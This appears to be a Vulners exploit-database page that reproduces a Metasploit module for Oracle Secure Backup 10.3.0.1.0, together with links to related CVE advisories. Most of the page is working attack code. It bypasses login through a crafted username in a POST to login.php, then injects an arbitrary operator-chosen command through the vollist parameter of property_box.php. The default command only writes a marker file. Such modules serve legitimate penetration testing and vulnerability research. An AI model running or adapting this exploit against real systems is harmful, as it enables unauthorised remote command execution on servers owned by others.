Lucene search
K

Oracle Secure Backup Authentication Bypass/Command Injection Vulnerability

🗓️ 16 Sep 2009 12:07:07Reported by MC <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 25 Views

Oracle Secure Backup Authentication Bypass/Command Injection Vulnerability module exploits an authentication bypass vulnerability in login.php to execute arbitrary code via a command injection vulnerability in property_box.php

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Oracle Secure Backup Server 10.3.0.1.0 Auth Bypass/RCI Exploit
14 Sep 200900:00
zdt
Circl
CVE-2009-1977
14 Sep 200900:00
circl
Circl
CVE-2009-1978
14 Sep 200900:00
circl
Check Point Advisories
Oracle Secure Backup Administration Server Authentication Bypass (CVE-2009-1977)
27 Aug 200900:00
checkpoint_advisories
Check Point Advisories
Oracle Secure Backup Administration Server Command Injection (CVE-2009-1978)
24 Sep 200900:00
checkpoint_advisories
CVE
CVE-2009-1977
14 Jul 200923:00
cve
CVE
CVE-2009-1978
14 Jul 200923:00
cve
Cvelist
CVE-2009-1977
14 Jul 200923:00
cvelist
Cvelist
CVE-2009-1978
14 Jul 200923:00
cvelist
d2
DSquare Exploit Pack: D2SEC_ORA_SECBACK2
14 Jul 200923:30
d2
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Oracle Secure Backup Authentication Bypass/Command Injection Vulnerability',
      'Description'    => %q{
          This module exploits an authentication bypass vulnerability
          in login.php in order to execute arbitrary code via a command injection
          vulnerability in property_box.php. This module was tested
          against Oracle Secure Backup version 10.3.0.1.0 (Win32).
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2009-1977' ],
          [ 'OSVDB', '55903' ],
          [ 'CVE', '2009-1978' ],
          [ 'OSVDB', '55904' ],
          [ 'ZDI', '09-058' ],
          [ 'ZDI', '09-059' ],
        ],
      'DisclosureDate' => '2009-08-18'))

    register_options(
      [
        Opt::RPORT(443),
        OptString.new('CMD', [ false, "The command to execute.", "cmd.exe /c echo metasploit > %SYSTEMDRIVE%\\metasploit.txt" ]),
        OptBool.new('SSL',   [true, 'Use SSL', true]),
      ])
  end

  def run
    cmd = datastore['CMD']

    res = send_request_cgi(
      {
        'uri'	=>  '/login.php',
        'data'	=>  'button=Login&attempt=1&mode=&tab=75&uname=-msf&passwd=msf',
        'method' => 'POST',
      }, 5)

      if res && res.get_cookies.match(/PHPSESSID=(.*);(.*)/i)

          print_status("Sending command: #{datastore['CMD']}...")

          send_request_cgi(
            {
              'uri'	=> '/property_box.php',
              'data'  => 'type=Sections&vollist=75' + Rex::Text.uri_encode("&" + cmd),
              'cookie' => res.get_cookies,
              'method' => 'POST',
            }, 5)

          print_status("Done.")
      else
        print_error("Invalid PHPSESSION token..")
        return
      end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation